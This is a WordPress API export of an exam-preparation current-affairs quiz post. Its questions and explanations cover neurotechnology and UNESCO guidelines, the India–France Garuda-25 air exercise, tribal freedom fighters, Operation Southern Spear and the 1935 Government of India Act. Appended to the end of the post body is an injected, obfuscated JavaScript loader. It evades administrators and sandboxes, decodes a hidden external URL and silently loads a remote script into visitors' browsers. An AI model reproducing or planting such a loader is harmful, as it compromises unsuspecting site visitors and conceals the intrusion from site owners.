wp-elements-107 wp-block-paragraph\"><strong>Medical Applications<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>Treatment of Neurological Disorders &#8211; Parkinson\u2019s disease (via Deep Brain Stimulation), Epilepsy, Essential tremor and Stroke rehabilitation<\/li>\n\n\n\n<li>Psychiatric Interventions &#8211; Depression, OCD, PTSD and Addiction treatment (experimental)<\/li>\n\n\n\n<li>Restoring Lost Abilities &#8211; Speech restoration for people with paralysis, brain-controlled prosthetic limbs and vision restoration (retinal implants)<\/li>\n\n\n\n<li>Diagnosis &amp; Monitoring &#8211; Detecting Alzheimer\u2019s, dementia, brain tumors, Monitoring sleep disorders and detecting early signs of mental health issues<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Non-Medical Applications<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>Education &amp; Cognitive Enhancement &#8211; Improving attention &amp; memory, Neurofeedback for learning and brain-state monitoring in classrooms (controversial)<\/li>\n\n\n\n<li>Consumer Wellness &#8211; Stress or focus monitoring headsets, Meditation neurodevices and sleep improvement tools<\/li>\n\n\n\n<li>Brain\u2013Machine Interaction &#8211; Gaming controlled by brain signals and VR\/AR integration for immersive experiences<\/li>\n\n\n\n<li>Workplace Applications (Ethically Sensitive) &#8211; Monitoring fatigue, attention, productivity<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Research &amp; Scientific Applications<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li>Understanding brain circuits<\/li>\n\n\n\n<li>Brain mapping projects<\/li>\n\n\n\n<li>AI models inspired by neural activity<\/li>\n\n\n\n<li>Drug testing using neural simulations<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Security &amp; Defense (High-risk segment)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>Enhancing soldier cognition<\/li>\n\n\n\n<li>Detecting deception or hostile intent (experimental)<\/li>\n\n\n\n<li>Brain-controlled drones or exoskeletons<\/li>\n\n\n\n<li>UNESCO recommends strict regulation here.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Hence all are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>UNESCO\u2019s new guidelines for neurotechnology<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-117\">\n<li>UNESCO stresses strong protection of <strong>mental privacy<\/strong>, treating neural data as highly sensitive and requiring explicit, informed consent for its use.<\/li>\n\n\n\n<li>The guidelines uphold <strong>freedom of thought and cognitive autonomy<\/strong>, prohibiting coercive or manipulative uses of neurotechnology.<\/li>\n\n\n\n<li>Non-therapeutic or enhancement uses, especially in workplaces and for children or other vulnerable groups, should be <strong>strictly limited<\/strong>.<\/li>\n\n\n\n<li>Neurotechnology that can influence behaviour or emotions must be <strong>clearly regulated<\/strong>, with full transparency about how brain data is collected and used.<\/li>\n\n\n\n<li>Countries should ensure <strong>equitable access<\/strong> to therapeutic neurotechnologies so they do not deepen social inequalities.<\/li>\n\n\n\n<li>Developers and companies must follow <strong>safety, accountability, and privacy-by-design<\/strong> principles, with mechanisms for grievance and redress.<\/li>\n\n\n\n<li>Governments are encouraged to integrate these guidelines into national laws and create <strong>oversight systems<\/strong> for research, commercial products, and consumer neurotech.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. &#8220;3D printing&#8221; has applications in which of the following?<\/strong> <br><br>1. Preparation of confectionery items <br>2. Manufacture of bionic ears <br>3. Automotive industry <br>4. Reconstructive surgeries <br>5. Data processing technologies <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1, 3 and 4 only <br>(b) 2, 3 and 5 only <br>(c) 1 and 4 only <br><strong>(d) 1, 2, 3, 4 and 5<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-118 wp-block-paragraph\" style=\"color:#1300d1\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/what-are-the-new-unesco-recommendations-for-neurotechnology-use\/article70267926.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/what-are-the-new-unesco-recommendations-for-neurotechnology-use\/article70267926.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>7. Exercise Garuda-25, recently in the news, is a bilateral exercise between India and which of the following countries?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(a) United States<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(b) Russia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(c) France<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(d) United Kingdom<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Answer: (c) France<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>In NEWS: <\/strong>EXERCISE GARUDA 25: INDIAN AIR FORCE PARTICIPATES IN 8TH EDITION OF BILATERAL AIR EXERCISE WITH FRENCH AIR AND SPACE FORCE<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Exercise GARUDA-25:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-128\">\n<li><strong>Exercise Garuda-25 is <\/strong>the 8th edition of the bilateral air exercise held between the Indian Air Force and the <strong>French Air &amp; Space Force<\/strong>. <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>The exercise is being conducted <strong>from 16\u201327 November 2025<\/strong> at <strong>Mont-de-Marsan Air Base in France<\/strong>.<\/li>\n\n\n\n<li>The Indian Air Force has deployed <strong>Su-30MKI fighter aircraft, IL-78 mid-air refuellers, and a C-17 Globemaster III<\/strong> for strategic airlift.<\/li>\n\n\n\n<li>The exercise focuses on <strong>air-to-air combat training, air defence missions, coordinated strike operations, and interoperability drills<\/strong>.<\/li>\n\n\n\n<li>It aims to <strong>strengthen operational synergy<\/strong> between the two air forces through joint planning and execution of complex aerial missions.<\/li>\n\n\n\n<li>The deployment demonstrates the IAF\u2019s <strong>long-range operational capability<\/strong> and ability to sustain overseas exercises.<\/li>\n\n\n\n<li>The exercise contributes to <strong>India\u2013France strategic defence cooperation<\/strong>, a key pillar of their long-standing Strategic Partnership.<\/li>\n\n\n\n<li>It enhances <strong>professional exchange, tactical learning, and exposure to NATO-standard operational procedures<\/strong>.<\/li>\n\n\n\n<li>The exercise serves as a platform for improving <strong>aircrew proficiency, mission adaptability, and multilateral readiness<\/strong>.<\/li>\n\n\n\n<li>Garuda-25 underscores the role of <strong>defence diplomacy<\/strong> in maintaining strong bilateral military relations and improving joint operational readiness.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-129 wp-block-paragraph\" style=\"color:#0004f2\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2190299&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2190299&amp;reg=3&amp;lang=1<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>8. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.no<\/strong><\/td><td><strong>Tribal Freedom Fighters<\/strong><\/td><td><strong>Associated Movement<\/strong><\/td><\/tr><tr><td>1<\/td><td>Veer Narayan Singh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/td><td>Sonakhan Uprising (1856\u201357)<\/td><\/tr><tr><td>2<\/td><td>Birsa Munda<\/td><td>Ulgulan Movement (1899\u20131900)<\/td><\/tr><tr><td>3<\/td><td>Badal Bhoi<\/td><td>Chhindwara Protest (1923)<\/td><\/tr><tr><td>4<\/td><td>Raja Shankar Shah and Raghunath Shah<\/td><td>Revolt of 1857<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Which of the above pairs are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(b) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(c) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>In NEWS: Honouring India\u2019s Tribal Freedom Fighters<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-139\">\n<li><strong>November 15 is celebrated as Janjatiya Gaurav Divas<\/strong> (Tribal Pride Day) to commemorate the birth anniversary of <strong>tribal freedom fighter Birsa Munda<\/strong>.<\/li>\n\n\n\n<li>The Ministry of Tribal Affairs is establishing <strong>11 museums to commemorate various tribal movements and uprisings<\/strong> against British rule and promote their cultures and histories.<\/li>\n\n\n\n<li>The <strong>Ministry of Tribal Affairs promotes tribal art, language, and traditions<\/strong> through other digital initiatives such as Adi Sanskriti and Adi Vaani.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>The unsung heroes of India\u2019s tribal heritage<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>1. Veer Narayan Singh \u2013 Sonakhan Uprising (1856\u201357)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-142\">\n<li>Revolt triggered by <strong>British grain hoarding<\/strong> during the 1856 famine.<\/li>\n\n\n\n<li>Veer Narayan Singh broke British granaries to feed starving villagers.<\/li>\n\n\n\n<li>Formed a <strong>local militia<\/strong> after escaping prison and fought British forces.<\/li>\n\n\n\n<li>Considered an early precursor to the <strong>1857 revolt in Chhattisgarh<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Hence pair 1 is correctly matched.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>2. Birsa Munda \u2013 Ulgulan Movement (\u201cGreat Tumult\u201d, 1899\u20131900)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-145\">\n<li>Revolt against <strong>British land revenue policies<\/strong>, exploitation by zamindars and missionaries.<\/li>\n\n\n\n<li>Sought restoration of <strong>Khuntkatti<\/strong> (traditional Munda community land rights).<\/li>\n\n\n\n<li>Demanded <strong>Munda Raj<\/strong>\u2014a self-governed tribal polity.<\/li>\n\n\n\n<li>Led to significant reforms, influencing laws like the <strong>Chotanagpur Tenancy Act (1908)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Hence pair 2 is correctly matched.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>3. Badal Bhoi \u2013 Chhindwara Tribal Protest (1923)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li>Mass mobilisation of Adivasis against British administrative excesses; met with lathi charge.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">Forest Law Resistance (1930)<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-150\">\n<li>Protested against colonial forest policies restricting tribal access to forests.<\/li>\n\n\n\n<li>Arrested for breaking unjust forest regulations.<\/li>\n\n\n\n<li>Represents broader tribal participation in the <strong>Forest Satyagraha<\/strong> during the freedom struggle.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Hence pair 3 is correctly matched.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>4. Raja Shankar Shah \u2013 Revolt of 1857 (Central India Tribal Participation)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-153\">\n<li>Mobilised Gond communities during the 1857 uprising.<\/li>\n\n\n\n<li>Inspired resistance through <strong>patriotic poems and songs<\/strong>.<\/li>\n\n\n\n<li>Arrested and executed for allegedly plotting rebellion.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>5. Kunwar Raghunath Shah \u2013 Revolt of 1857 (Cultural Resistance)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-155\">\n<li>Supported his father Raja Shankar Shah in the <strong>Central India tribal uprising<\/strong>.<\/li>\n\n\n\n<li>Used <strong>poetic compositions<\/strong> to rally people against British rule.<\/li>\n\n\n\n<li>Executed in 1858 for involvement in the uprising.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Hence pair 4 is correctly matched.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. With reference to the history of India, \u201cUlgulan\u201d or the Great Tumult is the description of which of the following events?<\/strong> <br><br>(a) The Revolt of 1857 <br>(b) The Mappila Rebellion of 1921 <br>(c) The Indigo Revolt of 1859-60 <br><strong>(d) Birsa Munda\u2019s Revolt of 1899-1900<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-157 wp-block-paragraph\" style=\"color:#0b07f6\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189915\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189915<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>9. Operation Southern Spear, recently in the news, is primarily associated with:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(a) Counter-narcotics and maritime interdiction operations led by the United States<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(b) Humanitarian evacuation during natural disasters in the Caribbean<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(c) Joint naval exercises between the US and Caribbean nations<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(d) Anti-piracy operations in the Gulf of Mexico<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Answer: (a) Counter-narcotics and maritime interdiction operations led by the United States<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>In NEWS: <\/strong>U.S. to launch new military operation in Latin America<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Operation Southern Spear:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-167\">\n<li><strong>Operation Southern Spear is a U.S.-led maritime security and counter-narcotics operation<\/strong> launched in the Western Hemisphere. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>It is conducted under the <strong>U.S. Southern Command (SOUTHCOM)<\/strong> and supported by the <strong>U.S. Navy\u2019s 4th Fleet<\/strong>.<\/li>\n\n\n\n<li>The operation targets <strong>drug-trafficking networks, illegal maritime smuggling routes, and transnational criminal organisations<\/strong> operating in the Caribbean and Eastern Pacific.<\/li>\n\n\n\n<li>It involves the deployment of <strong>manned naval vessels, unmanned surface vessels (USVs), autonomous drones, and advanced surveillance platforms<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-168 wp-block-paragraph\" style=\"color:#060ef3\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/156477\/OPS\/GTIF5RSVM.1+GSFF5SCGN.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/156477\/OPS\/GTIF5RSVM.1+GSFF5SCGN.1.html<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>10. With reference to the Government of India Act, 1935, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">1. It provided for the establishment of an All India Federation based on the union of the British Indian Provinces and Princely States.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\">2. Defence and Foreign Affairs were kept under the control of the federal legislature.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">The Government of India Act, 1935 proposed an <strong>All India Federation<\/strong> consisting of:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-180\">\n<li>British Indian provinces (mandatory), and<\/li>\n\n\n\n<li>Princely States (voluntary accession).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">Under the 1935 Act, <strong>Defence and Foreign Affairs were \u201cReserved Subjects\u201d<\/strong>, and remained <strong>under the exclusive control of the Governor-General<\/strong>, not the federal legislature.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to the Governor\u2019s role in state universities, which among the following statements is\/are correct? 1. The Governor\u2019s [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[68,71,11,42],"tags":[],"class_list":["post-2750","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2750","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2750"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2750\/revisions"}],"predecessor-version":[{"id":2939,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2750\/revisions\/2939"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2750"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2750"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2750"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}